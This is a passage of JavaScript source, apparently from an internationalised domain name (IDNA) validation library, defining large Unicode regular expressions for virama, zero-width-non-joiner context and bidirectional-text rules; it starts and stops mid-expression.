/[\u094D\u09CD\u0A4D\u0ACD\u0B4D\u0BCD\u0C4D\u0CCD\u0D3B\u0D3C\u0D4D\u0DCA\u0E3A\u0EBA\u0F84\u1039\u103A\u1714\u1734\u17D2\u1A60\u1B44\u1BAA\u1BAB\u1BF2\u1BF3\u2D7F\uA806\uA8C4\uA953\uA9C0\uAAF6\uABED\u{10A3F}\u{11046}\u{1107F}\u{110B9}\u{11133}\u{11134}\u{111C0}\u{11235}\u{112EA}\u{1134D}\u{11442}\u{114C2}\u{115BF}\u{1163F}\u{116B6}\u{1172B}\u{11839}\u{119E0}\u{11A34}\u{11A47}\u{11A99}\u{11C3F}\u{11D44}\u{11D45}\u{11D97}]/u; const validZWNJ = /[\u0620\u0626\u0628\u062A-\u062E\u0633-\u063F\u0641-\u0647\u0649\u064A\u066E\u066F\u0678-\u0687\u069A-\u06BF\u06C1\u06C2\u06CC\u06CE\u06D0\u06D1\u06FA-\u06FC\u06FF\u0712-\u0714\u071A-\u071D\u071F-\u0727\u0729\u072B\u072D\u072E\u074E-\u0758\u075C-\u076A\u076D-\u0770\u0772\u0775-\u0777\u077A-\u077F\u07CA-\u07EA\u0841-\u0845\u0848\u084A-\u0853\u0855\u0860\u0862-\u0865\u0868\u08A0-\u08A9\u08AF\u08B0\u08B3\u08B4\u08B6-\u08B8\u08BA-\u08BD\u1807\u1820-\u1878\u1887-\u18A8\u18AA\uA840-\uA872\u{10AC0}-\u{10AC4}\u{10ACD}\u{10AD3}-\u{10ADC}\u{10ADE}-\u{10AE0}\u{10AEB}-\u{10AEE}\u{10B80}\u{10B82}\u{10B86}-\u{10B88}\u{10B8A}\u{10B8B}\u{10B8D}\u{10B90}\u{10BAD}\u{10BAE}\u{10D00}-\u{10D21}\u{10D23}\u{10F30}-\u{10F32}\u{10F34}-\u{10F44}\u{10F51}-\u{10F53}\u{1E900}-\u{1E943}][\xAD\u0300-\u036F\u0483-\u0489\u0591-\u05BD\u05BF\u05C1\u05C2\u05C4\u05C5\u05C7\u0610-\u061A\u061C\u064B-\u065F\u0670\u06D6-\u06DC\u06DF-\u06E4\u06E7\u06E8\u06EA-\u06ED\u070F\u0711\u0730-\u074A\u07A6-\u07B0\u07EB-\u07F3\u07FD\u0816-\u0819\u081B-\u0823\u0825-\u0827\u0829-\u082D\u0859-\u085B\u08D3-\u08E1\u08E3-\u0902\u093A\u093C\u0941-\u0948\u094D\u0951-\u0957\u0962\u0963\u0981\u09BC\u09C1-\u09C4\u09CD\u09E2\u09E3\u09FE\u0A01\u0A02\u0A3C\u0A41\u0A42\u0A47\u0A48\u0A4B-\u0A4D\u0A51\u0A70\u0A71\u0A75\u0A81\u0A82\u0ABC\u0AC1-\u0AC5\u0AC7\u0AC8\u0ACD\u0AE2\u0AE3\u0AFA-\u0AFF\u0B01\u0B3C\u0B3F\u0B41-\u0B44\u0B4D\u0B56\u0B62\u0B63\u0B82\u0BC0\u0BCD\u0C00\u0C04\u0C3E-\u0C40\u0C46-\u0C48\u0C4A-\u0C4D\u0C55\u0C56\u0C62\u0C63\u0C81\u0CBC\u0CBF\u0CC6\u0CCC\u0CCD\u0CE2\u0CE3\u0D00\u0D01\u0D3B\u0D3C\u0D41-\u0D44\u0D4D\u0D62\u0D63\u0DCA\u0DD2-\u0DD4\u0DD6\u0E31\u0E34-\u0E3A\u0E47-\u0E4E\u0EB1\u0EB4-\u0EBC\u0EC8-\u0ECD\u0F18\u0F19\u0F35\u0F37\u0F39\u0F71-\u0F7E\u0F80-\u0F84\u0F86\u0F87\u0F8D-\u0F97\u0F99-\u0FBC\u0FC6\u102D-\u1030\u1032-\u1037\u1039\u103A\u103D\u103E\u1058\u1059\u105E-\u1060\u1071-\u1074\u1082\u1085\u1086\u108D\u109D\u135D-\u135F\u1712-\u1714\u1732-\u1734\u1752\u1753\u1772\u1773\u17B4\u17B5\u17B7-\u17BD\u17C6\u17C9-\u17D3\u17DD\u180B-\u180D\u1885\u1886\u18A9\u1920-\u1922\u1927\u1928\u1932\u1939-\u193B\u1A17\u1A18\u1A1B\u1A56\u1A58-\u1A5E\u1A60\u1A62\u1A65-\u1A6C\u1A73-\u1A7C\u1A7F\u1AB0-\u1ABE\u1B00-\u1B03\u1B34\u1B36-\u1B3A\u1B3C\u1B42\u1B6B-\u1B73\u1B80\u1B81\u1BA2-\u1BA5\u1BA8\u1BA9\u1BAB-\u1BAD\u1BE6\u1BE8\u1BE9\u1BED\u1BEF-\u1BF1\u1C2C-\u1C33\u1C36\u1C37\u1CD0-\u1CD2\u1CD4-\u1CE0\u1CE2-\u1CE8\u1CED\u1CF4\u1CF8\u1CF9\u1DC0-\u1DF9\u1DFB-\u1DFF\u200B\u200E\u200F\u202A-\u202E\u2060-\u2064\u206A-\u206F\u20D0-\u20F0\u2CEF-\u2CF1\u2D7F\u2DE0-\u2DFF\u302A-\u302D\u3099\u309A\uA66F-\uA672\uA674-\uA67D\uA69E\uA69F\uA6F0\uA6F1\uA802\uA806\uA80B\uA825\uA826\uA8C4\uA8C5\uA8E0-\uA8F1\uA8FF\uA926-\uA92D\uA947-\uA951\uA980-\uA982\uA9B3\uA9B6-\uA9B9\uA9BC\uA9BD\uA9E5\uAA29-\uAA2E\uAA31\uAA32\uAA35\uAA36\uAA43\uAA4C\uAA7C\uAAB0\uAAB2-\uAAB4\uAAB7\uAAB8\uAABE\uAABF\uAAC1\uAAEC\uAAED\uAAF6\uABE5\uABE8\uABED\uFB1E\uFE00-\uFE0F\uFE20-\uFE2F\uFEFF\uFFF9-\uFFFB\u{101FD}\u{102E0}\u{10376}-\u{1037A}\u{10A01}-\u{10A03}\u{10A05}\u{10A06}\u{10A0C}-\u{10A0F}\u{10A38}-\u{10A3A}\u{10A3F}\u{10AE5}\u{10AE6}\u{10D24}-\u{10D27}\u{10F46}-\u{10F50}\u{11001}\u{11038}-\u{11046}\u{1107F}-\u{11081}\u{110B3}-\u{110B6}\u{110B9}\u{110BA}\u{11100}-\u{11102}\u{11127}-\u{1112B}\u{1112D}-\u{11134}\u{11173}\u{11180}\u{11181}\u{111B6}-\u{111BE}\u{111C9}-\u{111CC}\u{1122F}-\u{11231}\u{11234}\u{11236}\u{11237}\u{1123E}\u{112DF}\u{112E3}-\u{112EA}\u{11300}\u{11301}\u{1133B}\u{1133C}\u{11340}\u{11366}-\u{1136C}\u{11370}-\u{11374}\u{11438}-\u{1143F}\u{11442}-\u{11444}\u{11446}\u{1145E}\u{114B3}-\u{114B8}\u{114BA}\u{114BF}\u{114C0}\u{114C2}\u{114C3}\u{115B2}-\u{115B5}\u{115BC}\u{115BD}\u{115BF}\u{115C0}\u{115DC}\u{115DD}\u{11633}-\u{1163A}\u{1163D}\u{1163F}\u{11640}\u{116AB}\u{116AD}\u{116B0}-\u{116B5}\u{116B7}\u{1171D}-\u{1171F}\u{11722}-\u{11725}\u{11727}-\u{1172B}\u{1182F}-\u{11837}\u{11839}\u{1183A}\u{119D4}-\u{119D7}\u{119DA}\u{119DB}\u{119E0}\u{11A01}-\u{11A0A}\u{11A33}-\u{11A38}\u{11A3B}-\u{11A3E}\u{11A47}\u{11A51}-\u{11A56}\u{11A59}-\u{11A5B}\u{11A8A}-\u{11A96}\u{11A98}\u{11A99}\u{11C30}-\u{11C36}\u{11C38}-\u{11C3D}\u{11C3F}\u{11C92}-\u{11CA7}\u{11CAA}-\u{11CB0}\u{11CB2}\u{11CB3}\u{11CB5}\u{11CB6}\u{11D31}-\u{11D36}\u{11D3A}\u{11D3C}\u{11D3D}\u{11D3F}-\u{11D45}\u{11D47}\u{11D90}\u{11D91}\u{11D95}\u{11D97}\u{11EF3}\u{11EF4}\u{13430}-\u{13438}\u{16AF0}-\u{16AF4}\u{16B30}-\u{16B36}\u{16F4F}\u{16F8F}-\u{16F92}\u{1BC9D}\u{1BC9E}\u{1BCA0}-\u{1BCA3}\u{1D167}-\u{1D169}\u{1D173}-\u{1D182}\u{1D185}-\u{1D18B}\u{1D1AA}-\u{1D1AD}\u{1D242}-\u{1D244}\u{1DA00}-\u{1DA36}\u{1DA3B}-\u{1DA6C}\u{1DA75}\u{1DA84}\u{1DA9B}-\u{1DA9F}\u{1DAA1}-\u{1DAAF}\u{1E000}-\u{1E006}\u{1E008}-\u{1E018}\u{1E01B}-\u{1E021}\u{1E023}\u{1E024}\u{1E026}-\u{1E02A}\u{1E130}-\u{1E136}\u{1E2EC}-\u{1E2EF}\u{1E8D0}-\u{1E8D6}\u{1E944}-\u{1E94B}\u{E0001}\u{E0020}-\u{E007F}\u{E0100}-\u{E01EF}]*\u200C[\xAD\u0300-\u036F\u0483-\u0489\u0591-\u05BD\u05BF\u05C1\u05C2\u05C4\u05C5\u05C7\u0610-\u061A\u061C\u064B-\u065F\u0670\u06D6-\u06DC\u06DF-\u06E4\u06E7\u06E8\u06EA-\u06ED\u070F\u0711\u0730-\u074A\u07A6-\u07B0\u07EB-\u07F3\u07FD\u0816-\u0819\u081B-\u0823\u0825-\u0827\u0829-\u082D\u0859-\u085B\u08D3-\u08E1\u08E3-\u0902\u093A\u093C\u0941-\u0948\u094D\u0951-\u0957\u0962\u0963\u0981\u09BC\u09C1-\u09C4\u09CD\u09E2\u09E3\u09FE\u0A01\u0A02\u0A3C\u0A41\u0A42\u0A47\u0A48\u0A4B-\u0A4D\u0A51\u0A70\u0A71\u0A75\u0A81\u0A82\u0ABC\u0AC1-\u0AC5\u0AC7\u0AC8\u0ACD\u0AE2\u0AE3\u0AFA-\u0AFF\u0B01\u0B3C\u0B3F\u0B41-\u0B44\u0B4D\u0B56\u0B62\u0B63\u0B82\u0BC0\u0BCD\u0C00\u0C04\u0C3E-\u0C40\u0C46-\u0C48\u0C4A-\u0C4D\u0C55\u0C56\u0C62\u0C63\u0C81\u0CBC\u0CBF\u0CC6\u0CCC\u0CCD\u0CE2\u0CE3\u0D00\u0D01\u0D3B\u0D3C\u0D41-\u0D44\u0D4D\u0D62\u0D63\u0DCA\u0DD2-\u0DD4\u0DD6\u0E31\u0E34-\u0E3A\u0E47-\u0E4E\u0EB1\u0EB4-\u0EBC\u0EC8-\u0ECD\u0F18\u0F19\u0F35\u0F37\u0F39\u0F71-\u0F7E\u0F80-\u0F84\u0F86\u0F87\u0F8D-\u0F97\u0F99-\u0FBC\u0FC6\u102D-\u1030\u1032-\u1037\u1039\u103A\u103D\u103E\u1058\u1059\u105E-\u1060\u1071-\u1074\u1082\u1085\u1086\u108D\u109D\u135D-\u135F\u1712-\u1714\u1732-\u1734\u1752\u1753\u1772\u1773\u17B4\u17B5\u17B7-\u17BD\u17C6\u17C9-\u17D3\u17DD\u180B-\u180D\u1885\u1886\u18A9\u1920-\u1922\u1927\u1928\u1932\u1939-\u193B\u1A17\u1A18\u1A1B\u1A56\u1A58-\u1A5E\u1A60\u1A62\u1A65-\u1A6C\u1A73-\u1A7C\u1A7F\u1AB0-\u1ABE\u1B00-\u1B03\u1B34\u1B36-\u1B3A\u1B3C\u1B42\u1B6B-\u1B73\u1B80\u1B81\u1BA2-\u1BA5\u1BA8\u1BA9\u1BAB-\u1BAD\u1BE6\u1BE8\u1BE9\u1BED\u1BEF-\u1BF1\u1C2C-\u1C33\u1C36\u1C37\u1CD0-\u1CD2\u1CD4-\u1CE0\u1CE2-\u1CE8\u1CED\u1CF4\u1CF8\u1CF9\u1DC0-\u1DF9\u1DFB-\u1DFF\u200B\u200E\u200F\u202A-\u202E\u2060-\u2064\u206A-\u206F\u20D0-\u20F0\u2CEF-\u2CF1\u2D7F\u2DE0-\u2DFF\u302A-\u302D\u3099\u309A\uA66F-\uA672\uA674-\uA67D\uA69E\uA69F\uA6F0\uA6F1\uA802\uA806\uA80B\uA825\uA826\uA8C4\uA8C5\uA8E0-\uA8F1\uA8FF\uA926-\uA92D\uA947-\uA951\uA980-\uA982\uA9B3\uA9B6-\uA9B9\uA9BC\uA9BD\uA9E5\uAA29-\uAA2E\uAA31\uAA32\uAA35\uAA36\uAA43\uAA4C\uAA7C\uAAB0\uAAB2-\uAAB4\uAAB7\uAAB8\uAABE\uAABF\uAAC1\uAAEC\uAAED\uAAF6\uABE5\uABE8\uABED\uFB1E\uFE00-\uFE0F\uFE20-\uFE2F\uFEFF\uFFF9-\uFFFB\u{101FD}\u{102E0}\u{10376}-\u{1037A}\u{10A01}-\u{10A03}\u{10A05}\u{10A06}\u{10A0C}-\u{10A0F}\u{10A38}-\u{10A3A}\u{10A3F}\u{10AE5}\u{10AE6}\u{10D24}-\u{10D27}\u{10F46}-\u{10F50}\u{11001}\u{11038}-\u{11046}\u{1107F}-\u{11081}\u{110B3}-\u{110B6}\u{110B9}\u{110BA}\u{11100}-\u{11102}\u{11127}-\u{1112B}\u{1112D}-\u{11134}\u{11173}\u{11180}\u{11181}\u{111B6}-\u{111BE}\u{111C9}-\u{111CC}\u{1122F}-\u{11231}\u{11234}\u{11236}\u{11237}\u{1123E}\u{112DF}\u{112E3}-\u{112EA}\u{11300}\u{11301}\u{1133B}\u{1133C}\u{11340}\u{11366}-\u{1136C}\u{11370}-\u{11374}\u{11438}-\u{1143F}\u{11442}-\u{11444}\u{11446}\u{1145E}\u{114B3}-\u{114B8}\u{114BA}\u{114BF}\u{114C0}\u{114C2}\u{114C3}\u{115B2}-\u{115B5}\u{115BC}\u{115BD}\u{115BF}\u{115C0}\u{115DC}\u{115DD}\u{11633}-\u{1163A}\u{1163D}\u{1163F}\u{11640}\u{116AB}\u{116AD}\u{116B0}-\u{116B5}\u{116B7}\u{1171D}-\u{1171F}\u{11722}-\u{11725}\u{11727}-\u{1172B}\u{1182F}-\u{11837}\u{11839}\u{1183A}\u{119D4}-\u{119D7}\u{119DA}\u{119DB}\u{119E0}\u{11A01}-\u{11A0A}\u{11A33}-\u{11A38}\u{11A3B}-\u{11A3E}\u{11A47}\u{11A51}-\u{11A56}\u{11A59}-\u{11A5B}\u{11A8A}-\u{11A96}\u{11A98}\u{11A99}\u{11C30}-\u{11C36}\u{11C38}-\u{11C3D}\u{11C3F}\u{11C92}-\u{11CA7}\u{11CAA}-\u{11CB0}\u{11CB2}\u{11CB3}\u{11CB5}\u{11CB6}\u{11D31}-\u{11D36}\u{11D3A}\u{11D3C}\u{11D3D}\u{11D3F}-\u{11D45}\u{11D47}\u{11D90}\u{11D91}\u{11D95}\u{11D97}\u{11EF3}\u{11EF4}\u{13430}-\u{13438}\u{16AF0}-\u{16AF4}\u{16B30}-\u{16B36}\u{16F4F}\u{16F8F}-\u{16F92}\u{1BC9D}\u{1BC9E}\u{1BCA0}-\u{1BCA3}\u{1D167}-\u{1D169}\u{1D173}-\u{1D182}\u{1D185}-\u{1D18B}\u{1D1AA}-\u{1D1AD}\u{1D242}-\u{1D244}\u{1DA00}-\u{1DA36}\u{1DA3B}-\u{1DA6C}\u{1DA75}\u{1DA84}\u{1DA9B}-\u{1DA9F}\u{1DAA1}-\u{1DAAF}\u{1E000}-\u{1E006}\u{1E008}-\u{1E018}\u{1E01B}-\u{1E021}\u{1E023}\u{1E024}\u{1E026}-\u{1E02A}\u{1E130}-\u{1E136}\u{1E2EC}-\u{1E2EF}\u{1E8D0}-\u{1E8D6}\u{1E944}-\u{1E94B}\u{E0001}\u{E0020}-\u{E007F}\u{E0100}-\u{E01EF}]*[\u0620\u0622-\u063F\u0641-\u064A\u066E\u066F\u0671-\u0673\u0675-\u06D3\u06D5\u06EE\u06EF\u06FA-\u06FC\u06FF\u0710\u0712-\u072F\u074D-\u077F\u07CA-\u07EA\u0840-\u0855\u0860\u0862-\u0865\u0867-\u086A\u08A0-\u08AC\u08AE-\u08B4\u08B6-\u08BD\u1807\u1820-\u1878\u1887-\u18A8\u18AA\uA840-\uA871\u{10AC0}-\u{10AC5}\u{10AC7}\u{10AC9}\u{10ACA}\u{10ACE}-\u{10AD6}\u{10AD8}-\u{10AE1}\u{10AE4}\u{10AEB}-\u{10AEF}\u{10B80}-\u{10B91}\u{10BA9}-\u{10BAE}\u{10D01}-\u{10D23}\u{10F30}-\u{10F44}\u{10F51}-\u{10F54}\u{1E900}-\u{1E943}]/u; const bidiDomain = /[\u05BE\u05C0\u05C3\u05C6\u05D0-\u05EA\u05EF-\u05F4\u0600-\u0605\u0608\u060B\u060D\u061B-\u064A\u0660-\u0669\u066B-\u066F\u0671-\u06D5\u06DD\u06E5\u06E6\u06EE\u06EF\u06FA-\u070D\u070F\u0710\u0712-\u072F\u074D-\u07A5\u07B1\u07C0-\u07EA\u07F4\u07F5\u07FA\u07FE-\u0815\u081A\u0824\u0828\u0830-\u083E\u0840-\u0858\u085E\u0860-\u086A\u0870-\u088E\u0890\u0891\u08A0-\u08C9\u08E2\u200F\uFB1D\uFB1F-\uFB28\uFB2A-\uFB36\uFB38-\uFB3C\uFB3E\uFB40\uFB41\uFB43\uFB44\uFB46-\uFBC2\uFBD3-\uFD3D\uFD50-\uFD8F\uFD92-\uFDC7\uFDF0-\uFDFC\uFE70-\uFE74\uFE76-\uFEFC\u{10800}-\u{10805}\u{10808}\u{1080A}-\u{10835}\u{10837}\u{10838}\u{1083C}\u{1083F}-\u{10855}\u{10857}-\u{1089E}\u{108A7}-\u{108AF}\u{108E0}-\u{108F2}\u{108F4}\u{108F5}\u{108FB}-\u{1091B}\u{10920}-\u{10939}\u{1093F}\u{10980}-\u{109B7}\u{109BC}-\u{109CF}\u{109D2}-\u{10A00}\u{10A10}-\u{10A13}\u{10A15}-\u{10A17}\u{10A19}-\u{10A35}\u{10A40}-\u{10A48}\u{10A50}-\u{10A58}\u{10A60}-\u{10A9F}\u{10AC0}-\u{10AE4}\u{10AEB}-\u{10AF6}\u{10B00}-\u{10B35}\u{10B40}-\u{10B55}\u{10B58}-\u{10B72}\u{10B78}-\u{10B91}\u{10B99}-\u{10B9C}\u{10BA9}-\u{10BAF}\u{10C00}-\u{10C48}\u{10C80}-\u{10CB2}\u{10CC0}-\u{10CF2}\u{10CFA}-\u{10D23}\u{10D30}-\u{10D39}\u{10E60}-\u{10E7E}\u{10E80}-\u{10EA9}\u{10EAD}\u{10EB0}\u{10EB1}\u{10F00}-\u{10F27}\u{10F30}-\u{10F45}\u{10F51}-\u{10F59}\u{10F70}-\u{10F81}\u{10F86}-\u{10F89}\u{10FB0}-\u{10FCB}\u{10FE0}-\u{10FF6}\u{1E800}-\u{1E8C4}\u{1E8C7}-\u{1E8CF}\u{1E900}-\u{1E943}\u{1E94B}\u{1E950}-\u{1E959}\u{1E95E}\u{1E95F}\u{1EC71}-\u{1ECB4}\u{1ED01}-\u{1ED3D}\u{1EE00}-\u{1EE03}\u{1EE05}-\u{1EE1F}\u{1EE21}\u{1EE22}\u{1EE24}\u{1EE27}\u{1EE29}-\u{1EE32}\u{1EE34}-\u{1EE37}\u{1EE39}\u{1EE3B}\u{1EE42}\u{1EE47}\u{1EE49}\u{1EE4B}\u{1EE4D}-\u{1EE4F}\u{1EE51}\u{1EE52}\u{1EE54}\u{1EE57}\u{1EE59}\u{1EE5B}\u{1EE5D}\u{1EE5F}\u{1EE61}\u{1EE62}\u{1EE64}\u{1EE67}-\u{1EE6A}\u{1EE6C}-\u{1EE72}\u{1EE74}-\u{1EE77}\u{1EE79}-\u{1EE7C}\u{1EE7E}\u{1EE80}-\u{1EE89}\u{1EE8B}-\u{1EE9B}\u{1EEA1}-\u{1EEA3}\u{1EEA5}-\u{1EEA9}\u{1EEAB}-\u{1EEBB}]/u; -const bidiS1LTR = /[A-Za-z\xAA\xB5\xBA\xC0-\xD6\xD8-\xF6\xF8-\u02B8\u02BB-\u02C1\u02D0\u02D1\u02E0-\u02E4\u02EE\u0370-\u0373\u0376\u0377\u037A-\u037D\u037F\u0386\u0388-\u038A\u038C\u038E-\u03A1\u03A3-\u03F5\u03F7-\u0482\u048A-\u052F\u0531-\u0556\u0559-\u0589\u0903-\u0939\u093B\u093D-\u0940\u0949-\u094C\u094E-\u0950\u0958-\u0961\u0964-\u0980\u0982\u0983\u0985-\u098C\u098F\u0990\u0993-\u09A8\u09AA-\u09B0\u09B2\u09B6-\u09B9\u09BD-\u09C0\u09C7\u09C8\u09CB\u09CC\u09CE\u09D7\u09DC\u09DD\u09DF-\u09E1\u09E6-\u09F1\u09F4-\u09FA\u09FC\u09FD\u0A03\u0A05-\u0A0A\u0A0F\u0A10\u0A13-\u0A28\u0A2A-\u0A30\u0A32\u0A33\u0A35\u0A36\u0A38\u0A39\u0A3E-\u0A40\u0A59-\u0A5C\u0A5E\u0A66-\u0A6F\u0A72-\u0A74\u0A76\u0A83\u0A85-\u0A8D\u0A8F-\u0A91\u0A93-\u0AA8\u0AAA-\u0AB0\u0AB2\u0AB3\u0AB5-\u0AB9\u0ABD-\u0AC0\u0AC9\u0ACB\u0ACC\u0AD0\u0AE0\u0AE1\u0AE6-\u0AF0\u0AF9\u0B02\u0B03\u0B05-\u0B0C\u0B0F\u0B10\u0B13-\u0B28\u0B2A-\u0B30\u0B32\u0B33\u0B35-\u0B39\u0B3D\u0B3E\u0B40\u0B47\u0B48\u0B4B\u0B4C\u0B57\u0B5C\u0B5D\u0B5F-\u0B61\u0B66-\u0B77\u0B83\u0B85-\u0B8A\u0B8E-\u0B90\u0B92-\u0B95\u0B99\u0B9A\u0B9C\u0B9E\u0B9F\u0BA3\u0BA4\u0BA8-\u0BAA\u0BAE-\u0BB9\u0BBE\u0BBF\u0BC1\u0BC2\u0BC6-\u0BC8\u0BCA-\u0BCC\u0BD0\u0BD7\u0BE6-\u0BF2\u0C01-\u0C03\u0C05-\u0C0C\u0C0E-\u0C10\u0C12-\u0C28\u0C2A-\u0C39\u0C3D\u0C41-\u0C44\u0C58-\u0C5A\u0C5D\u0C60\u0C61\u0C66-\u0C6F\u0C77\u0C7F\u0C80\u0C82-\u0C8C\u0C8E-\u0C90\u0C92-\u0CA8\u0CAA-\u0CB3\u0CB5-\u0CB9\u0CBD-\u0CC4\u0CC6-\u0CC8\u0CCA\u0CCB\u0CD5\u0CD6\u0CDD\u0CDE\u0CE0\u0CE1\u0CE6-\u0CEF\u0CF1\u0CF2\u0D02-\u0D0C\u0D0E-\u0D10\u0D12-\u0D3A\u0D3D-\u0D40\u0D46-\u0D48\u0D4A-\u0D4C\u0D4E\u0D4F\u0D54-\u0D61\u0D66-\u0D7F\u0D82\u0D83\u0D85-\u0D96\u0D9A-\u0DB1\u0DB3-\u0DBB\u0DBD\u0DC0-\u0DC6\u0DCF-\u0DD1\u0DD8-\u0DDF\u0DE6-\u0DEF\u0DF2-\u0DF4\u0E01-\u0E30\u0E32\u0E33\u0E40-\u0E46\u0E4F-\u0E5B\u0E81\u0E82\u0E84\u0E86-\u0E8A\u0E8C-\u0EA3\u0EA5\u0EA7-\u0EB0\u0EB2\u0EB3\u0EBD\u0EC0-\u0EC4\u0EC6\u0ED0-\u0ED9\u0EDC-\u0EDF\u0F00-\u0F17\u0F1A-\u0F34\u0F36\u0F38\u0F3E-\u0F47\u0F49-\u0F6C\u0F7F\u0F85\u0F88-\u0F8C\u0FBE-\u0FC5\u0FC7-\u0FCC\u0FCE-\u0FDA\u1000-\u102C\u1031\u1038\u103B\u103C\u103F-\u1057\u105A-\u105D\u1061-\u1070\u1075-\u1081\u1083\u1084\u1087-\u108C\u108E-\u109C\u109E-\u10C5\u10C7\u10CD\u10D0-\u1248\u124A-\u124D\u1250-\u1256\u1258\u125A-\u125D\u1260-\u1288\u128A-\u128D\u1290-\u12B0\u12B2-\u12B5\u12B8-\u12BE\u12C0\u12C2-\u12C5\u12C8-\u12D6\u12D8-\u1310\u1312-\u1315\u1318-\u135A\u1360-\u137C\u1380-\u138F\u13A0-\u13F5\u13F8-\u13FD\u1401-\u167F\u1681-\u169A\u16A0-\u16F8\u1700-\u1711\u1715\u171F-\u1731\u1734-\u1736\u1740-\u1751\u1760-\u176C\u176E-\u1770\u1780-\u17B3\u17B6\u17BE-\u17C5\u17C7\u17C8\u17D4-\u17DA\u17DC\u17E0-\u17E9\u1810-\u1819\u1820-\u1878\u1880-\u1884\u1887-\u18A8\u18AA\u18B0-\u18F5\u1900-\u191E\u1923-\u1926\u1929-\u192B\u1930\u1931\u1933-\u1938\u1946-\u196D\u1970-\u1974\u1980-\u19AB\u19B0-\u19C9\u19D0-\u19DA\u1A00-\u1A16\u1A19\u1A1A\u1A1E-\u1A55\u1A57\u1A61\u1A63\u1A64\u1A6D-\u1A72\u1A80-\u1A89\u1A90-\u1A99\u1AA0-\u1AAD\u1B04-\u1B33\u1B35\u1B3B\u1B3D-\u1B41\u1B43-\u1B4C\u1B50-\u1B6A\u1B74-\u1B7E\u1B82-\u1BA1\u1BA6\u1BA7\u1BAA\u1BAE-\u1BE5\u1BE7\u1BEA-\u1BEC\u1BEE\u1BF2\u1BF3\u1BFC-\u1C2B\u1C34\u1C35\u1C3B-\u1C49\u1C4D-\u1C88\u1C90-\u1CBA\u1CBD-\u1CC7\u1CD3\u1CE1\u1CE9-\u1CEC\u1CEE-\u1CF3\u1CF5-\u1CF7\u1CFA\u1D00-\u1DBF\u1E00-\u1F15\u1F18-\u1F1D\u1F20-\u1F45\u1F48-\u1F4D\u1F50-\u1F57\u1F59\u1F5B\u1F5D\u1F5F-\u1F7D\u1F80-\u1FB4\u1FB6-\u1FBC\u1FBE\u1FC2-\u1FC4\u1FC6-\u1FCC\u1FD0-\u1FD3\u1FD6-\u1FDB\u1FE0-\u1FEC\u1FF2-\u1FF4\u1FF6-\u1FFC\u200E\u2071\u207F\u2090-\u209C\u2102\u2107\u210A-\u2113\u2115\u2119-\u211D\u2124\u2126\u2128\u212A-\u212D\u212F-\u2139\u213C-\u213F\u2145-\u2149\u214E\u214F\u2160-\u2188\u2336-\u237A\u2395\u249C-\u24E9\u26AC\u2800-\u28FF\u2C00-\u2CE4\u2CEB-\u2CEE\u2CF2\u2CF3\u2D00-\u2D25\u2D27\u2D2D\u2D30-\u2D67\u2D6F\u2D70\u2D80-\u2D96\u2DA0-\u2DA6\u2DA8-\u2DAE\u2DB0-\u2DB6\u2DB8-\u2DBE\u2DC0-\u2DC6\u2DC8-\u2DCE\u2DD0-\u2DD6\u2DD8-\u2DDE\u3005-\u3007\u3021-\u3029\u302E\u302F\u3031-\u3035\u3038-\u303C\u3041-\u3096\u309D-\u309F\u30A1-\u30FA\u30FC-\u30FF\u3105-\u312F\u3131-\u318E\u3190-\u31BF\u31F0-\u321C\u3220-\u324F\u3260-\u327B\u327F-\u32B0\u32C0-\u32CB\u32D0-\u3376\u337B-\u33DD\u33E0-\u33FE\u3400-\u4DBF\u4E00-\uA48C\uA4D0-\uA60C\uA610-\uA62B\uA640-\uA66E\uA680-\uA69D\uA6A0-\uA6EF\uA6F2-\uA6F7\uA722-\uA787\uA789-\uA7CA\uA7D0\uA7D1\uA7D3\uA7D5-\uA7D9\uA7F2-\uA801\uA803-\uA805\uA807-\uA80A\uA80C-\uA824\uA827\uA830-\uA837\uA840-\uA873\uA880-\uA8C3\uA8CE-\uA8D9\uA8F2-\uA8FE\uA900-\uA925\uA92E-\uA946\uA952\uA953\uA95F-\uA97C\uA983-\uA9B2\uA9B4\uA9B5\uA9BA\uA9BB\uA9BE-\uA9CD\uA9CF-\uA9D9\uA9DE-\uA9E4\uA9E6-\uA9FE\uAA00-\uAA28\uAA2F\uAA30\uAA33\uAA34\uAA40-\uAA42\uAA44-\uAA4B\uAA4D\uAA50-\uAA59\uAA5C-\uAA7B\uAA7D-\uAAAF\uAAB1\uAAB5\uAAB6\uAAB9-\uAABD\uAAC0\uAAC2\uAADB-\uAAEB\uAAEE-\uAAF5\uAB01-\uAB06\uAB09-\uAB0E\uAB11-\uAB16\uAB20-\uAB26\uAB28-\uAB2E\uAB30-\uAB69\uAB70-\uABE4\uABE6\uABE7\uABE9-\uABEC\uABF0-\uABF9\uAC00-\uD7A3\uD7B0-\uD7C6\uD7CB-\uD7FB\uD800-\uFA6D\uFA70-\uFAD9\uFB00-\uFB06\uFB13-\uFB17\uFF21-\uFF3A\uFF41-\uFF5A\uFF66-\uFFBE\uFFC2-\uFFC7\uFFCA-\uFFCF\uFFD2-\uFFD7\uFFDA-\uFFDC\u{10000}-\u{1000B}\u{1000D}-\u{10026}\u{10028}-\u{1003A}\u{1003C}\u{1003D}\u{1003F}-\u{1004D}\u{10050}-\u{1005D}\u{10080}-\u{100FA}\u{10100}\u{10102}\u{10107}-\u{10133}\u{10137}-\u{1013F}\u{1018D}\u{1018E}\u{101D0}-\u{101FC}\u{10280}-\u{1029C}\u{102A0}-\u{102D0}\u{10300}-\u{10323}\u{1032D}-\u{1034A}\u{10350}-\u{10375}\u{10380}-\u{1039D}\u{1039F}-\u{103C3}\u{103C8}-\u{103D5}\u{10400}-\u{1049D}\u{104A0}-\u{104A9}\u{104B0}-\u{104D3}\u{104D8}-\u{104FB}\u{10500}-\u{10527}\u{10530}-\u{10563}\u{1056F}-\u{1057A}\u{1057C}-\u{1058A}\u{1058C}-\u{10592}\u{10594}\u{10595}\u{10597}-\u{105A1}\u{105A3}-\u{105B1}\u{105B3}-\u{105B9}\u{105BB}\u{105BC}\u{10600}-\u{10736}\u{10740}-\u{10755}\u{10760}-\u{10767}\u{10780}-\u{10785}\u{10787}-\u{107B0}\u{107B2}-\u{107BA}\u{11000}\u{11002}-\u{11037}\u{11047}-\u{1104D}\u{11066}-\u{1106F}\u{11071}\u{11072}\u{11075}\u{11082}-\u{110B2}\u{110B7}\u{110B8}\u{110BB}-\u{110C1}\u{110CD}\u{110D0}-\u{110E8}\u{110F0}-\u{110F9}\u{11103}-\u{11126}\u{1112C}\u{11136}-\u{11147}\u{11150}-\u{11172}\u{11174}-\u{11176}\u{11182}-\u{111B5}\u{111BF}-\u{111C8}\u{111CD}\u{111CE}\u{111D0}-\u{111DF}\u{111E1}-